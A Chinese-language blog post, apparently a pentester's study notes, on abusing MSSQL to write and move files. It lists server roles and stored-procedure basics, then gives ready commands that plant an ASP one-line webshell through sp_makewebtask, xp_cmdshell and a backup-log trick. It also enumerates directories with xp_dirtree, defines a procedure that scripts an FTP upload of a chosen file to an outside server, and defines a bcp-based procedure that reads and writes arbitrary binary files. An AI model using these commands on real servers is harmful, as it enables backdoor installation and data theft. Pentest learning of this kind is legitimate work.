前几天有一个面试,面试官问到一个问题,是关于mssql注入。当时信号不好没太听清楚,就瞎答,说到通过mssql写文件的时候,卡住了。之前在渗透测试中碰到过拿到mssql数据库密码然后上传木马的情况。只不过是借助工具进行上传,没有深刻理解原理,导致场面一度很尴尬。所以还得继续学习啦。本文就说说关于mssql操作文件的方法和其依赖的基础。
MSSQL数据库权限
sa:数据库操作,文件管理,命令执行,注册表读取等
db:文件管理,数据库操作等
public:数据库操作
sysadmin:执行SQL Server中的任何动作
serveradmin:配置服务器设置
setupadmin:安装复制和管理扩展过程
securityadmin:管理登录和CREATE DATABASE的权限
processadmin:管理SQL Server进程
dbcreator:创建和修改数据库
diskadmin:管理磁盘文件
MSSQL存储过程
- 系统存储过程
以前缀”sp_“来标识,系统存储过程是 SQL Server系统自身提供的存储过程,可以作为命令执行各种操作。 - 用户存储过程
用户自定义存储,需要一定语法格式支持,下文介绍。 - 扩展存储过程
以前缀”xp_“来标识。扩展存储过程是以在SQL SERVER环境外执行的动态连接(DLL文件)来实现的,可以加载到SQL SERVER实例运行的地址空间中执行。扩展存储过程可以用SQL SERVER扩展存储过程API编程。
通过MSSQL写文本文件
sa权限下,可以使用sp_makewebtask,xp_cmdshell
sp_makewebtask
exec sp_makewebtask '可读写路径','select''<%execute(request("cmd"))%>'''
xp_cmdshell
exec xp_cmdshell 'echo "<%execute(request("cmd"))%>">> 可读写路径)'
db权限下:(在数据库有备份的情况下才能使用)
目录情况:
create table temp(dir nvarchar(255),depth varchar(255),files varchar(255),ID int NOT NULL IDENTITY(1,1));--
insert into temp(dir,depth,files)exec master.dbo.xp_dirtree 'c:',1,1--
select dir from temp where id=1 通过修改id来遍历目录
写数据
alter database 数据库名 set RECOVERY FULL 开启恢复模式full,当恢复模式为 SIMPLE 时,不允许使用 BACKUP LOG 语句。
create table test(str image)--
insert into test(str)values ('<%execute(request("cmd"))%>')--
backup log 数据库名 to disk='c:\可读写路径\x.asp'-- 这里的目录注意是可读写目录,不然会出问题
alter database 数据库名 set RECOVERY simple-- 关闭恢复模式full
上面说的情况只是针对文本文件,当然如果可以通过数据库上传任意文件岂不完美?直接传马不就行啦?下面就说说通过MSSQL存储过程进行任意文件的操作。
通过MSSQL上传任意文件
先说说存储过程基础:
实现存储过程
CREATE { PROC | PROCEDURE } [schema_name.] procedure_name [ ; number ]
[ { @parameter [ type_schema_name. ] data_type } [ VARYING ] [ = default ] [ [ OUT [ PUT ] ] --名称、类型、默认值、方向
[ ,...n ]
[ WITH <procedure_option> [ ,...n ]
[ FOR REPLICATION ]
AS
{ <sql_statement> [;][ ...n ] | <method_specifier> } --SQL语句
[;]
<procedure_option> ::=
[ ENCRYPTION ]
[ RECOMPILE ] --运行时编译
[ EXECUTE_AS_Clause ]
<sql_statement> ::= { [ BEGIN ] statements [ END ] }
<method_specifier> ::= EXTERNAL NAME assembly_name.class_name.method_name
执行存储过程
使用 Transact-SQL EXECUTE 语句。如果存储过程是批处理中的第一条语句,那么不使用 EXECUTE 关键字也可以执行存储过程。使用 sp_procoption 让SQLSERVER 自动执行存储过程。
sp_procoption [ @ProcName = ] 'procedure' , [ @OptionName = ] 'option' , [ @OptionValue = ] 'value' --过程的名称、option 的唯一值为 startup、设置为开启(true 或 on)还是关闭(false 或 off)。
上面一大堆挺多的,先说说基本的使用:
create procedure test(自定义名称)
as
select * from .... (要执行的sql语句)
go
这就是一个简单的存储过程。下面可以输入:execute test即可执行。
需要注意,执行的时候我们只需要execute(执行) 存储过程名,就可以了。procedure 和 execute 可以分别缩写为 proc 和 exec。
上面的例子没有带参数,下面说一个带参数的例子:
create proc test
@ var varchar(10)
as
select * from student where sno = @ ssno
go
"@ 变量名"是sql 中用来表示用户自定义的参数的方法,"@@变量名",用来表示系统自带的,不能随便改动。执行带参数的存储过程,需要使用如下语句:
exec test 值
也可以不带参数,但是必须在创建存储过程中加参数赋值,可以赋Null。
在网上看到一篇文章,讲的是游标的存储过程,贴出来:游标的存储过程
另外,变量分为全局和局部,和其他语言一样,像上面的’@ var varchar(10)’就是全局变量,局部变量的命名使用declare命令:declare{@变量名 数据类型}
局部变量的赋值:set{@变量名=表达式}或者select{@变量名=表达式}
举个例子:
declare @var1 int
set @var1=1
declare @var2 nvarchar(50)
select @var2=1
上面就是一些基础啦,当然还有很多细节东西和很多用法和命令,以后用到再慢慢学习。
应用实例
通过Sqlserver存储过程上传文件
调用方式:
execute SysFtptobak ‘c:/1.txt’,’192.168.0.1’,’a’,’1’
CREATE proc dbo.SysFtptobak
@Filename varchar(128), --Ftp传输的文件名字
@FtpIp varchar(16), --Ftp服务器地址
@FtpUser varchar(32),--服务器服务器登陆帐号
@FtpPwd varchar(32) --服务器服务器登陆帐号对应的密码
as
return -1
set nocount on 当 SET NOCOUNT 为 ON 时,不返回计数(表示受 Transact-SQL 语句影响的行数)。当 SET NOCOUNT 为 OFF 时,返回计数。
declare @cmd varchar(255), @txt varchar(255)
declare @FtpIp varchar(16),@FtpUser varchar(32),FtpPwd varchar(32)
exec master.dbo.xp_cmdshell 'echo user '+ @FtpUser +'>C:Dbbdk tp.scp'
exec master.dbo.xp_cmdshell 'echo '+ FtpPwd +'>>C:Dbbdk tp.scp'
exec master.dbo.xp_cmdshell 'echo lcd c:Dbbdk>>C:Dbbdk tp.scp'
exec master.dbo.xp_cmdshell 'echo bin>>C:Dbbdk tp.scp'
set @cmd='echo put ' + @Filename + '>>C:Dbbdk tp.scp'
exec master.dbo.xp_cmdshell @cmd
exec master.dbo.xp_cmdshell 'echo bye>>C:Dbbdk tp.scp'
exec master.dbo.xp_cmdshell 'ftp -i -n -s:c:Dbbdk tp.scp '+ @FtpIp +''
return 0
GO
通过Sqlserver存储过程读写文件
create table tb (img image);
--数据导入
exec sp_binaryIO '.', 'sa', '', 'test..tb', 'img', 'c:/abc.jpg', 0
--数据导出
exec sp_binaryIO '.', 'sa', '', 'test..tb', 'img', 'c:/a.jpg', 1
drop table tb;
--*/
if exists (select * from dbo.sysobjects where id = object_id(N'[dbo].[sp_binaryIO]') and OBJECTPROPERTY(id, N'IsProcedure') = 1)
drop procedure [dbo].[sp_binaryIO]
GO
Create proc sp_binaryIO
@servename varchar (30), --服务器名称
@username varchar (30), --用户名
@password varchar (30), --密码
@tbname varchar (500), --数据库..表名
@fdname varchar (30), --字段名
@fname varchar (1000), --目录+文件名
@isout bit=1 --1导出((默认), 0导入
AS
declare @fname_in varchar(1000), --bcp处理应答文件名
@fsize varchar(20), --要处理的文件的大小
@m_tbname varchar(50), --临时表名
@sql varchar(8000)
--取得导入文件的大小
if @isout=1
set @fsize = '0'
else
begin
create table #tb(可选名 varchar(20), 大小 int, 创建日期 varchar(10), 创建时间 varchar(20),
上次写操作日期 varchar(10), 上次写操作时间 varchar(20), 上次访问日期 varchar(10),
上次访问时间 varchar(20), 特性 int)
insert into #tb exec master..xp_getfiledetails @fname
select @fsize = 大小 from #tb
drop table #tb
if @fsize is null
begin
print '文件未找到'
return
end
end
--生成数据处理应答文件
set @m_tbname = '[##temp' + cast(newid() as varchar(40)) + ']'
set @sql = 'select * into ' + @m_tbname + ' from (
select null as 类型
union all select 0 as 前缀
union all select ' + @fsize + ' as 长度
union all select null as 结束
union all select null as 格式
) a'
exec(@sql)
select @fname_in = @fname + '_temp',
@sql = 'bcp "' + @m_tbname + '" out "' + @fname_in + '" /S"' + @servename
+ case when isnull(@username,'') = '' then '' else '" /U"' + @username end
+ '" /P"' + isnull(@password, '') + '" /c'
exec master..xp_cmdshell @sql
--删除临时表
set @sql = 'drop table ' + @m_tbname
exec(@sql)
if @isout=1
begin
-- 导出
set @sql = 'bcp "select top 1 ' + @fdname + ' from ' + @tbname
+ '" queryout "' + @fname + '" /S"' + @servename
+ case when isnull(@username,'') = '' then '' else '" /U"' + @username end
+ '" /P"' + isnull(@password,'')
+ '" /i"' + @fname_in + '"'
exec master..xp_cmdshell @sql
end
else
begin
-- 导入
set @sql = 'bcp "'+ @tbname + '" in "' + @fname
+ '" /S"' + @servename
+ case when isnull(@username,'')='' then '' else '" /U"' + @username end
+ '" /P"' + isnull(@password, '') + '" /i"' + @fname_in + '"'
exec master..xp_cmdshell @sql
end
--删除数据处理应答文件
set @sql = 'del ' + @fname_in
exec master..xp_cmdshell @sql
go